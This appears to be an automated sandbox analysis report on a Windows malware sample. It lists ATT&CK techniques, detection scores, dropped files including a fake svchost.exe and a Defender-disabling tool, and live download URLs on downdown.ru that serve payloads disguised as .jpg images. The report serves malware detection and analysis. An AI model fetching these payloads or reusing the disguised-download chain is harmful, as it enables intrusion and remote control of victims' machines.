Source: C:\Intel\curl.exe	Code function: 52_2_0093D110 _memset,_memset,_strncmp,_strncmp,htons,htons,htons,bind,htons,htons,bind,_memset,getsockname,WSAGetLastError,WSAGetLastError,	52_2_0093D110

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	1 Spearphishing Link	431 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	61 Disable or Modify Tools	1 Credential API Hooking	2 System Time Discovery	Remote Services	11 Archive Collected Data	1 Data Obfuscation	Exfiltration Over Other Network Medium	1 System Shutdown/Reboot
Credentials	Domains	Default Accounts	2 Native API	1 DLL Side-Loading	1 Access Token Manipulation	1 Deobfuscate/Decode Files or Information	41 Input Capture	4 File and Directory Discovery	Remote Desktop Protocol	1 Credential API Hooking	14 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 Command and Scripting Interpreter	11 Windows Service	11 Windows Service	3 Obfuscated Files or Information	Security Account Manager	158 System Information Discovery	SMB/Windows Admin Shares	41 Input Capture	12 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Service Execution	1 Registry Run Keys / Startup Folder	212 Process Injection	1 Software Packing	NTDS	581 Security Software Discovery	Distributed Component Object Model	Input Capture	1 Non-Standard Port	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	1 Registry Run Keys / Startup Folder	1 DLL Side-Loading	LSA Secrets	351 Virtualization/Sandbox Evasion	SSH	Keylogging	4 Non-Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	111 Masquerading	Cached Domain Credentials	3 Process Discovery	VNC	GUI Input Capture	16 Application Layer Protocol	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	351 Virtualization/Sandbox Evasion	DCSync	1 Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 Access Token Manipulation	Proc Filesystem	1 System Network Configuration Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	212 Process Injection	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	1 Hidden Files and Directories	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
eqRHH2whJu.exe	55%	ReversingLabs	Win32.Spyware.Generic
eqRHH2whJu.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Intel\AnyDesk\AnyDesk.exe	50%	ReversingLabs	Win32.Trojan.Generic
C:\Intel\Trays\4t-min64.exe	0%	ReversingLabs
C:\Intel\Trays\7z.dll	0%	ReversingLabs
C:\Intel\Trays\ShellEh6055.dll	2%	ReversingLabs
C:\Intel\Trays\ShellEh6055x64.dll	3%	ReversingLabs
C:\Intel\Trays\Tray.dll	0%	ReversingLabs
C:\Intel\Trays\Trays.exe	4%	ReversingLabs
C:\Intel\Trays\delReg.exe	2%	ReversingLabs
C:\Intel\Trays\unins000.exe	4%	ReversingLabs
C:\Intel\blat.exe	0%	ReversingLabs
C:\Intel\curl.exe	3%	ReversingLabs
C:\Intel\dc.exe	50%	ReversingLabs	Win32.Hacktool.DisableDefender
C:\Intel\driver.exe	3%	ReversingLabs
C:\Intel\svchost.exe	50%	ReversingLabs	Win32.Trojan.Generic

Source	Detection	Scanner	Label
http://downdown.ru/blat.jpgKo	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/checkupdate.phpel	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/checkupdate.phpk-minuser-l1-1-0$	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/checkupdate.phped	0%	Avira URL Cloud	safe
https://help.anydesk.com	0%	Avira URL Cloud	safe
http://www.pdf-tools.com	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray_next.html03	0%	Avira URL Cloud	safe
http://downdown.ru/driver.jpg	100%	Avira URL Cloud	malware
http://downdown.ru/svchost.jpgC:	0%	Avira URL Cloud	safe
http://downdown.ru/blat.jpg:	0%	Avira URL Cloud	safe
http://downdown.ru/wol.j	0%	Avira URL Cloud	safe
http://downdown.ru/wol.jpgWinsta0	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray.html	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/files/4t-min.exe	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray.htmlgestion...ACuu	0%	Avira URL Cloud	safe
https://help.anydesk.com/	0%	Avira URL Cloud	safe
http://downdown.ru/blat.jpg	100%	Avira URL Cloud	malware
http://www.4t-niagara.com/tray_faq.htmll	0%	Avira URL Cloud	safe
http://downdown.ru/Trays.jpgC:	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/checkupdate.phpk	0%	Avira URL Cloud	safe
http://downdown.ru/Trays.jpg.jpC:	0%	Avira URL Cloud	safe
http://www.4t-niagara.com	0%	Avira URL Cloud	safe
http://downdown.ru/driver.jpg:e~6	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray_next.html???????...	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/checkupdate.phpu	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/checkupdate.phpn	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray.html5	0%	Avira URL Cloud	safe
http://downdown.ru/svchost.	0%	Avira URL Cloud	safe
http://downdown.ru/wol.jpg0	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray_order.htmlU	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray.htmltmll	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray_faq.html	0%	Avira URL Cloud	safe
http://downdown.ru/driver.jpgC:	0%	Avira URL Cloud	safe
http://www.blat.net/h	0%	Avira URL Cloud	safe
http://4t-niagara.com/webimage.html	0%	Avira URL Cloud	safe
http://downdown.ru/Trays.jpgWinsta0	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray.htmltmll=	0%	Avira URL Cloud	safe
http://downdown.ru/blat.jpgWinsta0	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/checkupdate.php03	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/checkupdate.phpr6	0%	Avira URL Cloud	safe
http://downdown.ru/dc.jp	0%	Avira URL Cloud	safe
https://help.anydesk.com/HelpLinkInstallLocationAnyDesk	0%	Avira URL Cloud	safe
http://downdown.ru/svchost.jpg	100%	Avira URL Cloud	malware
http://downdown.ru/wol.jpg?	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/files/4t-min.exe03	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/checkupdate.php	0%	Avira URL Cloud	safe
http://downdown.ru/wol.jpgK	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray_faq.htmlln...	0%	Avira URL Cloud	safe
https://order.anydesk.com/trial	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray_order.html03	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray_faq.html03	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/tray_faq.htmll??????...	0%	Avira URL Cloud	safe
http://www.4t-niagara.com/newsletter.html	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.210.172	true	false	high
boot.net.anydesk.com	92.223.88.41	true	false	high
www.4t-niagara.com	94.23.158.211	true	false	unknown
downdown.ru	185.125.51.5	true	true	unknown
x1.i.lencr.org	unknown	unknown	false	high
time.windows.com	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://downdown.ru/driver.jpg	true	Avira URL Cloud: malware	unknown
http://downdown.ru/blat.jpg	true	Avira URL Cloud: malware	unknown
http://downdown.ru/svchost.jpg	true	Avira URL Cloud: malware	unknown
http://www.4t-niagara.com/checkupdate.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://support.anydesk.com/knowledge/users	svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	false		high
https://anydesk.com/update	svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	false		high
https://support.anydesk.com/knowledge/pause-session	svchost.exe	false		high
http://www.pdf-tools.com	eqRHH2whJu.exe, 00000000.00000003.1241524984.0000000004B40000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray_next.html03	Trays.exe, 0000003B.00000002.2495320934.00000000023DC000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://datatracker.ietf.org/ipr/1526/	svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.4t-niagara.com/checkupdate.phpel	Trays.exe, 0000003B.00000002.2492534463.00000000007E7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://policies.google.com/privacy?hl=$	svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	false		high
https://help.anydesk.com	svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	true	Avira URL Cloud: safe	unknown
http://downdown.ru/svchost.jpgC:	curl.exe, 00000036.00000002.1479090544.0000000000E40000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000036.00000002.1478978881.0000000000C60000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://downdown.ru/blat.jpg:	eqRHH2whJu.exe, 00000000.00000003.1323746617.0000000002094000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/checkupdate.phpk-minuser-l1-1-0$	Trays.exe, 0000003B.00000002.2492534463.00000000007CA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://support.anydesk.com/knowledge/what-is-full-client-management	svchost.exe	false		high
https://support.anydesk.com/knowledge/account-migration	svchost.exe	false		high
http://www.4t-niagara.com/checkupdate.phped	Trays.exe, 0000003B.00000002.2492534463.00000000007E7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 0000000E.00000002.1414105510.000001FB45063000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412614037.000001FB4505A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412066454.000001FB45062000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.1413928843.000001FB4502B000.00000004.00000020.00020000.00000000.sdmp	false		high
http://downdown.ru/blat.jpgKo	curl.exe, 00000035.00000002.1429513827.0000000001137000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://downdown.ru/wol.jpgWinsta0	curl.exe, 00000038.00000002.1510466825.00000000010F0000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000038.00000002.1510399744.0000000000FE0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://help.anydesk.com/	svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	true	Avira URL Cloud: safe	unknown
http://www.innosetup.com/	driver.exe, 0000003A.00000003.1535835136.0000000002B10000.00000004.00001000.00020000.00000000.sdmp	false		high
http://www.4t-niagara.com/tray.htmlgestion...ACuu	Trays.exe, 0000003B.00000002.2492534463.0000000000750000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/files/4t-min.exe	Trays.exe, 0000003B.00000000.1542285626.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray.html	Trays.exe, 0000003B.00000002.2495320934.00000000023F8000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000000.1542873436.00000000005A5000.00000002.00000001.01000000.0000000A.sdmp, Trays.exe, 0000003B.00000002.2492534463.0000000000796000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://support.anydesk.com/knowledge/status-anynet_overload	svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	false		high
https://anydesk.com/contact/sales)	svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://downdown.ru/wol.j	eqRHH2whJu.exe, 00000000.00000003.1323794549.000000000209C000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray_faq.htmll	Trays.exe, 0000003B.00000002.2492534463.00000000007A0000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 0000000B.00000002.2500799377.000001E809E94000.00000004.00000020.00020000.00000000.sdmp	false		high
http://downdown.ru/Trays.jpgC:	curl.exe, 00000037.00000002.1501459774.0000000000B20000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000037.00000002.1500845504.0000000000830000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Locations	svchost.exe, 0000000E.00000002.1414046910.000001FB45058000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412741054.000001FB45057000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.4t-niagara.com/checkupdate.phpk	Trays.exe, 0000003B.00000002.2492534463.00000000007CA000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray_next.html???????...	Trays.exe, 0000003B.00000002.2492534463.0000000000796000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com	driver.exe, 0000003A.00000002.1538618480.0000000002AF0000.00000004.00001000.00020000.00000000.sdmp, driver.exe, 0000003A.00000003.1535835136.0000000002C73000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000000.1542873436.00000000005A5000.00000002.00000001.01000000.0000000A.sdmp, Trays.exe, 0000003B.00000000.1542285626.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, Trays.exe, 0000003B.00000002.2495320934.00000000023EA000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://anydesk.com/en/assembly	svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.4t-niagara.com/checkupdate.phpn	Trays.exe, 0000003B.00000002.2492534463.00000000007E7000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://dynamic.t	svchost.exe, 0000000E.00000002.1414530369.000001FB45077000.00000004.00000020.00020000.00000000.sdmp	false		high
http://curl.haxx.se/docs/sslcerts.htmlcurl	curl.exe	false		high
http://www.4t-niagara.com/checkupdate.phpu	Trays.exe, 0000003B.00000002.2492534463.0000000000758000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Transit	svchost.exe, 0000000E.00000002.1414046910.000001FB45058000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412741054.000001FB45057000.00000004.00000020.00020000.00000000.sdmp	false		high
https://datatracker.ietf.org/ipr/1524/	svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://my.anydesk.com/v2	svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://anydesk.com/company#imprint	svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	false		high
http://www.openssl.org/)	svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://anydesk.com/pricing/teams)	svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://downdown.ru/Trays.jpg.jpC:	eqRHH2whJu.exe, 00000000.00000002.1341961643.0000000000475000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://dev.ditu.live.com/REST/v1/JsonFilter/VenueMaps/data/	svchost.exe, 0000000E.00000002.1414215366.000001FB45070000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1411630374.000001FB4506E000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dynamic.api.tiles.ditu.live.com/odvs/gd?pv=1&r=	svchost.exe, 0000000E.00000003.1412872930.000001FB45032000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412066454.000001FB45062000.00000004.00000020.00020000.00000000.sdmp	false		high
http://curl.haxx.se/libcurl/c/curl_easy_setopt.html	curl.exe, 00000039.00000000.1510956067.0000000000A69000.00000008.00000001.01000000.00000008.sdmp	false		high
http://downdown.ru/driver.jpg:e~6	curl.exe, 00000034.00000002.1415547198.0000000000F1E000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/REST/v1/Routes/Driving	svchost.exe, 0000000E.00000002.1414046910.000001FB45058000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412741054.000001FB45057000.00000004.00000020.00020000.00000000.sdmp	false		high
http://www.4t-niagara.com/tray.html5	Trays.exe, 0000003B.00000002.2492534463.0000000000750000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.gimp.org/xmp/	svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://anydesk.com/de/datenschutz	svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://downdown.ru/svchost.	eqRHH2whJu.exe, 00000000.00000003.1323794549.000000000209C000.00000004.00001000.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray_order.htmlU	driver.exe, 0000003A.00000003.1535835136.0000000002C02000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000000.1542285626.0000000000401000.00000020.00000001.01000000.0000000A.sdmp	true	Avira URL Cloud: safe	unknown
https://my.anydesk.com	svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	false		high
http://downdown.ru/wol.jpg0	curl.exe, 00000038.00000002.1510466825.00000000010F8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.4t-niagara.com/tray.htmltmll	Trays.exe, 0000003B.00000002.2492534463.0000000000796000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.blat.net/h	curl.exe, 00000035.00000003.1428435183.0000000001163000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://www.openssl.org/support/faq.html	eqRHH2whJu.exe, 00000000.00000003.1241524984.0000000004B40000.00000004.00001000.00020000.00000000.sdmp, curl.exe, curl.exe, 00000034.00000002.1414833559.0000000000A84000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000034.00000000.1401190486.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000035.00000002.1429198523.0000000000A84000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000035.00000000.1416973366.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000036.00000000.1430094705.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000036.00000002.1478832997.0000000000A84000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000037.00000002.1501378655.0000000000A84000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000037.00000000.1479597319.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000038.00000002.1510258481.0000000000A84000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000038.00000000.1502118709.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000039.00000002.1526270520.0000000000A84000.00000008.00000001.01000000.00000008.sdmp, curl.exe, 00000039.00000000.1510956067.0000000000A69000.00000008.00000001.01000000.00000008.sdmp, svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gri?pv=1&r=	svchost.exe, 0000000E.00000002.1413928843.000001FB4502B000.00000004.00000020.00020000.00000000.sdmp	false		high
https://anydesk.com/pricing/teams	svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	false		high
http://www.4t-niagara.com/tray_faq.html	driver.exe, 0000003A.00000003.1535835136.0000000002C73000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000002.2495320934.0000000002332000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000002.2495320934.00000000023DC000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000000.1542873436.00000000005A5000.00000002.00000001.01000000.0000000A.sdmp	true	Avira URL Cloud: safe	unknown
https://anydesk.com/en/assembly/terms	svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://ecn.dev.virtualearth.net/REST/v1/Imagery/Copyright/	svchost.exe, 0000000E.00000002.1413928843.000001FB4502B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1411960311.000001FB45067000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.1414143967.000001FB45068000.00000004.00000020.00020000.00000000.sdmp	false		high
https://support.anydesk.com	svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	false		high
https://support.anydesk.com/knowledge/waiting-for-image-black-screen	svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp	false		high
http://downdown.ru/driver.jpgC:	curl.exe, 00000034.00000002.1415547198.0000000000F10000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000034.00000002.1416218685.0000000001060000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://support.anydesk.com/knowledge/anydesk-for-android-chromeos#troubleshooting	svchost.exe	false		high
http://4t-niagara.com/webimage.html	driver.exe, 0000003A.00000003.1535835136.0000000002C73000.00000004.00001000.00020000.00000000.sdmp, Trays.exe, 0000003B.00000000.1542873436.00000000005A5000.00000002.00000001.01000000.0000000A.sdmp	true	Avira URL Cloud: safe	unknown
http://iptc.org/std/Iptc4xmpExt/2008-02-29/	svchost.exe, 0000003C.00000003.1560644247.0000000002B00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000003C.00000002.1658206540.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000002.1609935690.0000000000E4C000.00000002.00000001.01000000.0000000B.sdmp, svchost.exe, 0000003E.00000003.1573007358.0000000002B00000.00000004.00000020.00020000.00000000.sdmp	false		high
https://dev.ditu.live.com/REST/v1/Transit/Stops/	svchost.exe, 0000000E.00000003.1411462558.000001FB45075000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.1414530369.000001FB45077000.00000004.00000020.00020000.00000000.sdmp	false		high
https://t0.ssl.ak.dynamic.tiles.virtualearth.net/odvs/gdi?pv=1&r=	svchost.exe, 0000000E.00000003.1412647226.000001FB45041000.00000004.00000020.00020000.00000000.sdmp	false		high
http://downdown.ru/Trays.jpgWinsta0	curl.exe, 00000037.00000002.1501459774.0000000000B20000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000037.00000002.1500845504.0000000000830000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://downdown.ru/blat.jpgWinsta0	curl.exe, 00000035.00000002.1429471071.0000000001020000.00000004.00000020.00020000.00000000.sdmp, curl.exe, 00000035.00000002.1429513827.0000000001130000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://dev.virtualearth.net/webservices/v1/LoggingService/LoggingService.svc/Log?	svchost.exe, 0000000E.00000002.1413988163.000001FB45042000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000002.1414105510.000001FB45063000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412066454.000001FB45062000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000000E.00000003.1412647226.000001FB45041000.00000004.00000020.00020000.00000000.sdmp	false		high
